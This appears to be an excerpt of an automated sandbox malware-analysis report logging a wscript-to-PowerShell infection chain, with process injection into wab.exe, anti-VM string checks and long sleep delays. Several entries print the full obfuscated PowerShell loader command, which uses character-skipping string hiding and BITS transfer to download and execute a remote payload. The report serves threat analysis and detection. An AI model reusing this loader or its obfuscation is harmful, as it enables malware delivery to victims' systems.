Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.2050027325.000001888831C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wab.exe, 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: svchost.exe, 00000004.00000002.3341191291.000002A79CE5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3339787884.000002A79782B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3339831570.000002A797843000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wab.exe, 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: wab.exe, 00000007.00000002.2594065641.0000000008902000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhM

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\dialer.exe

Code function: 9_3_032B027F mov eax, dword ptr fs:[00000030h]

9_3_032B027F

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 4030000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: A7FAEC			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "function krse ($udrensnri){for($holdk=7; $holdk -lt $udrensnri.length-1; $holdk+=8){ $bekraefte+=$udrensnri.substring($holdk, 1);}$bekraefte;}$bekraefte01=krse 'unrelini soufflerovsedexhinchmi ';$bekraefte02=krse 'allittetlgninger nonminasnorkelndrawplashydrostfcodificeachiertrbindheirkarnevai quadrinregressgprophet ';function fundmong ($avoutry){. ($bekraefte01) ($avoutry);}$jaspedam82=krse 'celebrehstenklvtdybdemat expetipsemidels blackl: bemest/bromidi/candollwplateaswrochetswdrtrinn.refererautaethes steurotfantastedalliannleafedsttilbageehyperacrpremillp oddfelrironikeifunderes forlagelocomots nonaff.subtotacvarmefrocreaminmplatypt.formatkplibidinksandsyn/rebozotmkimsendsbygning/baggaars overtepkistegleuninundjmeedful.ideologt tenuirttuckykof overen ';$bekraefte00=krse 'approks$ sternnggynecollroofwisotaipoclbbetonrkalogopedlfloddel:bacillectransforklemskruynkvrdispartakiainitiald kodifiodonskywvbloodthatyggende stykvr8nonvend melone= forste decolons alphabtminikenaforhaanrgeneralt plasmo-indfrelbavlsbruidvrgeflt abdelrsnerviiktforslver pederaa subternheadless hilsepf hundreersknernr unphil rokkene-mystifis overflofrembriueconomir signalcluftrrbevarmeis crotche$amtskomjsiddebaaassembls plastipparvifoe tiltogd boundlabestialmpemmica8angribe2toiletp encomi-arveretdstuppenebibabudsmotionetlandfogiresentsnaktiekaasupersatunderstipathletosjllandnforlyst praktis$sammenbcbeechamrirongolufunestasschlossapestersdjgerstuo nonprovnonpessarationae cofoun2spaecra ';fundmong (krse 'omfangs$tumulteggaardsplpastierourbiaspbindpakkasymfonilafdrags:acolhuacafspndircarlineumodellesflgenesafalanksd bommenokaffetivmultiplabekmpeleperpetu2promisi=imitato$produktepurgatinincomprvsulfini: kartotanoninteppersillp beaverdvildeprafolacintfugersoamispris ') ;fundmong (krse 'afbenytifalderamslingrepturbehsocryptohrpanicketetagese-geograpmunarbitouafvised erstatu biscayl pimpere parado outmarrbuntrammiafgudentresultasflerbrutstansemrsvineavachurnfunoptjercsvedtagefredecidekikrterrafhvlin ') ;$crusadovae2=$crusadovae2+'\notorhiza.sal' ;fundmong (krse ' slambr$debusedgglobatel telpheo anskuebflagstraebbcritlkokseth:rredtekc limfarrmslsveru rutsjesaabjrnsarestipud prefoco candidvagrarkoadespitoedeceler7mashall=imperfo(guslarptlovforbegilenorschloroptunbelie-pleurahppreasceastillelt forklahmerceri corrive$augustocudhamrircosmeteuselskabsgallakla pillerdopsadleorosethavantbirdasvingnietrawled2hippocr)fairlea ') ;while (-not $crusadovae7) {fundmong (krse 'discernispreneuflegende sulphoh(waggonl$eksploscpyramidrinverseu lepilespaltereatidsskrddriftskowhiterovspirantameasurieunlovea8dkliste.tumlersj securiokryptonbcifferlsswollentskifertasandormtredeploehvorind smykken-chambereskebladqfyrsted biestin$kahytsjb atommie aktivikstilkunrkatapulanapoleoelykkebrfprotoprtspearmiedriftsr0udsprjt2tankefu) nbbene jamaic{beskrivs despott mamushairradiarhalvbrotethenoi-br
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function krse ($udrensnri){for($holdk=7; $holdk -lt $udrensnri.length-1; $holdk+=8){ $bekraefte+=$udrensnri.substring($holdk, 1);}$bekraefte;}$bekraefte01=krse 'unrelini soufflerovsedexhinchmi ';$bekraefte02=krse 'allittetlgninger nonminasnorkelndrawplashydrostfcodificeachiertrbindheirkarnevai quadrinregressgprophet ';function fundmong ($avoutry){. ($bekraefte01) ($avoutry);}$jaspedam82=krse 'celebrehstenklvtdybdemat expetipsemidels blackl: bemest/bromidi/candollwplateaswrochetswdrtrinn.refererautaethes steurotfantastedalliannleafedsttilbageehyperacrpremillp oddfelrironikeifunderes forlagelocomots nonaff.subtotacvarmefrocreaminmplatypt.formatkplibidinksandsyn/rebozotmkimsendsbygning/baggaars overtepkistegleuninundjmeedful.ideologt tenuirttuckykof overen ';$bekraefte00=krse 'approks$ sternnggynecollroofwisotaipoclbbetonrkalogopedlfloddel:bacillectransforklemskruynkvrdispartakiainitiald kodifiodonskywvbloodthatyggende stykvr8nonvend melone= forste decolons alphabtminikenaforhaanrgeneralt plasmo-indfrelbavlsbruidvrgeflt abdelrsnerviiktforslver pederaa subternheadless hilsepf hundreersknernr unphil rokkene-mystifis overflofrembriueconomir signalcluftrrbevarmeis crotche$amtskomjsiddebaaassembls plastipparvifoe tiltogd boundlabestialmpemmica8angribe2toiletp encomi-arveretdstuppenebibabudsmotionetlandfogiresentsnaktiekaasupersatunderstipathletosjllandnforlyst praktis$sammenbcbeechamrirongolufunestasschlossapestersdjgerstuo nonprovnonpessarationae cofoun2spaecra ';fundmong (krse 'omfangs$tumulteggaardsplpastierourbiaspbindpakkasymfonilafdrags:acolhuacafspndircarlineumodellesflgenesafalanksd bommenokaffetivmultiplabekmpeleperpetu2promisi=imitato$produktepurgatinincomprvsulfini: kartotanoninteppersillp beaverdvildeprafolacintfugersoamispris ') ;fundmong (krse 'afbenytifalderamslingrepturbehsocryptohrpanicketetagese-geograpmunarbitouafvised erstatu biscayl pimpere parado outmarrbuntrammiafgudentresultasflerbrutstansemrsvineavachurnfunoptjercsvedtagefredecidekikrterrafhvlin ') ;$crusadovae2=$crusadovae2+'\notorhiza.sal' ;fundmong (krse ' slambr$debusedgglobatel telpheo anskuebflagstraebbcritlkokseth:rredtekc limfarrmslsveru rutsjesaabjrnsarestipud prefoco candidvagrarkoadespitoedeceler7mashall=imperfo(guslarptlovforbegilenorschloroptunbelie-pleurahppreasceastillelt forklahmerceri corrive$augustocudhamrircosmeteuselskabsgallakla pillerdopsadleorosethavantbirdasvingnietrawled2hippocr)fairlea ') ;while (-not $crusadovae7) {fundmong (krse 'discernispreneuflegende sulphoh(waggonl$eksploscpyramidrinverseu lepilespaltereatidsskrddriftskowhiterovspirantameasurieunlovea8dkliste.tumlersj securiokryptonbcifferlsswollentskifertasandormtredeploehvorind smykken-chambereskebladqfyrsted biestin$kahytsjb atommie aktivikstilkunrkatapulanapoleoelykkebrfprotoprtspearmiedriftsr0udsprjt2tankefu) nbbene jamaic{beskrivs despott mamushairradiarhalvbrotethenoi-br
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "function krse ($udrensnri){for($holdk=7; $holdk -lt $udrensnri.length-1; $holdk+=8){ $bekraefte+=$udrensnri.substring($holdk, 1);}$bekraefte;}$bekraefte01=krse 'unrelini soufflerovsedexhinchmi ';$bekraefte02=krse 'allittetlgninger nonminasnorkelndrawplashydrostfcodificeachiertrbindheirkarnevai quadrinregressgprophet ';function fundmong ($avoutry){. ($bekraefte01) ($avoutry);}$jaspedam82=krse 'celebrehstenklvtdybdemat expetipsemidels blackl: bemest/bromidi/candollwplateaswrochetswdrtrinn.refererautaethes steurotfantastedalliannleafedsttilbageehyperacrpremillp oddfelrironikeifunderes forlagelocomots nonaff.subtotacvarmefrocreaminmplatypt.formatkplibidinksandsyn/rebozotmkimsendsbygning/baggaars overtepkistegleuninundjmeedful.ideologt tenuirttuckykof overen ';$bekraefte00=krse 'approks$ sternnggynecollroofwisotaipoclbbetonrkalogopedlfloddel:bacillectransforklemskruynkvrdispartakiainitiald kodifiodonskywvbloodthatyggende stykvr8nonvend melone= forste decolons alphabtminikenaforhaanrgeneralt plasmo-indfrelbavlsbruidvrgeflt abdelrsnerviiktforslver pederaa subternheadless hilsepf hundreersknernr unphil rokkene-mystifis overflofrembriueconomir signalcluftrrbevarmeis crotche$amtskomjsiddebaaassembls plastipparvifoe tiltogd boundlabestialmpemmica8angribe2toiletp encomi-arveretdstuppenebibabudsmotionetlandfogiresentsnaktiekaasupersatunderstipathletosjllandnforlyst praktis$sammenbcbeechamrirongolufunestasschlossapestersdjgerstuo nonprovnonpessarationae cofoun2spaecra ';fundmong (krse 'omfangs$tumulteggaardsplpastierourbiaspbindpakkasymfonilafdrags:acolhuacafspndircarlineumodellesflgenesafalanksd bommenokaffetivmultiplabekmpeleperpetu2promisi=imitato$produktepurgatinincomprvsulfini: kartotanoninteppersillp beaverdvildeprafolacintfugersoamispris ') ;fundmong (krse 'afbenytifalderamslingrepturbehsocryptohrpanicketetagese-geograpmunarbitouafvised erstatu biscayl pimpere parado outmarrbuntrammiafgudentresultasflerbrutstansemrsvineavachurnfunoptjercsvedtagefredecidekikrterrafhvlin ') ;$crusadovae2=$crusadovae2+'\notorhiza.sal' ;fundmong (krse ' slambr$debusedgglobatel telpheo anskuebflagstraebbcritlkokseth:rredtekc limfarrmslsveru rutsjesaabjrnsarestipud prefoco candidvagrarkoadespitoedeceler7mashall=imperfo(guslarptlovforbegilenorschloroptunbelie-pleurahppreasceastillelt forklahmerceri corrive$augustocudhamrircosmeteuselskabsgallakla pillerdopsadleorosethavantbirdasvingnietrawled2hippocr)fairlea ') ;while (-not $crusadovae7) {fundmong (krse 'discernispreneuflegende sulphoh(waggonl$eksploscpyramidrinverseu lepilespaltereatidsskrddriftskowhiterovspirantameasurieunlovea8dkliste.tumlersj securiokryptonbcifferlsswollentskifertasandormtredeploehvorind smykken-chambereskebladqfyrsted biestin$kahytsjb atommie aktivikstilkunrkatapulanapoleoelykkebrfprotoprtspearmiedriftsr0udsprjt2tankefu) nbbene jamaic{beskrivs despott mamushairradiarhalvbrotethenoi-br	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function krse ($udrensnri){for($holdk=7; $holdk -lt $udrensnri.length-1; $holdk+=8){ $bekraefte+=$udrensnri.substring($holdk, 1);}$bekraefte;}$bekraefte01=krse 'unrelini soufflerovsedexhinchmi ';$bekraefte02=krse 'allittetlgninger nonminasnorkelndrawplashydrostfcodificeachiertrbindheirkarnevai quadrinregressgprophet ';function fundmong ($avoutry){. ($bekraefte01) ($avoutry);}$jaspedam82=krse 'celebrehstenklvtdybdemat expetipsemidels blackl: bemest/bromidi/candollwplateaswrochetswdrtrinn.refererautaethes steurotfantastedalliannleafedsttilbageehyperacrpremillp oddfelrironikeifunderes forlagelocomots nonaff.subtotacvarmefrocreaminmplatypt.formatkplibidinksandsyn/rebozotmkimsendsbygning/baggaars overtepkistegleuninundjmeedful.ideologt tenuirttuckykof overen ';$bekraefte00=krse 'approks$ sternnggynecollroofwisotaipoclbbetonrkalogopedlfloddel:bacillectransforklemskruynkvrdispartakiainitiald kodifiodonskywvbloodthatyggende stykvr8nonvend melone= forste decolons alphabtminikenaforhaanrgeneralt plasmo-indfrelbavlsbruidvrgeflt abdelrsnerviiktforslver pederaa subternheadless hilsepf hundreersknernr unphil rokkene-mystifis overflofrembriueconomir signalcluftrrbevarmeis crotche$amtskomjsiddebaaassembls plastipparvifoe tiltogd boundlabestialmpemmica8angribe2toiletp encomi-arveretdstuppenebibabudsmotionetlandfogiresentsnaktiekaasupersatunderstipathletosjllandnforlyst praktis$sammenbcbeechamrirongolufunestasschlossapestersdjgerstuo nonprovnonpessarationae cofoun2spaecra ';fundmong (krse 'omfangs$tumulteggaardsplpastierourbiaspbindpakkasymfonilafdrags:acolhuacafspndircarlineumodellesflgenesafalanksd bommenokaffetivmultiplabekmpeleperpetu2promisi=imitato$produktepurgatinincomprvsulfini: kartotanoninteppersillp beaverdvildeprafolacintfugersoamispris ') ;fundmong (krse 'afbenytifalderamslingrepturbehsocryptohrpanicketetagese-geograpmunarbitouafvised erstatu biscayl pimpere parado outmarrbuntrammiafgudentresultasflerbrutstansemrsvineavachurnfunoptjercsvedtagefredecidekikrterrafhvlin ') ;$crusadovae2=$crusadovae2+'\notorhiza.sal' ;fundmong (krse ' slambr$debusedgglobatel telpheo anskuebflagstraebbcritlkokseth:rredtekc limfarrmslsveru rutsjesaabjrnsarestipud prefoco candidvagrarkoadespitoedeceler7mashall=imperfo(guslarptlovforbegilenorschloroptunbelie-pleurahppreasceastillelt forklahmerceri corrive$augustocudhamrircosmeteuselskabsgallakla pillerdopsadleorosethavantbirdasvingnietrawled2hippocr)fairlea ') ;while (-not $crusadovae7) {fundmong (krse 'discernispreneuflegende sulphoh(waggonl$eksploscpyramidrinverseu lepilespaltereatidsskrddriftskowhiterovspirantameasurieunlovea8dkliste.tumlersj securiokryptonbcifferlsswollentskifertasandormtredeploehvorind smykken-chambereskebladqfyrsted biestin$kahytsjb atommie aktivikstilkunrkatapulanapoleoelykkebrfprotoprtspearmiedriftsr0udsprjt2tankefu) nbbene jamaic{beskrivs despott mamushairradiarhalvbrotethenoi-br	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
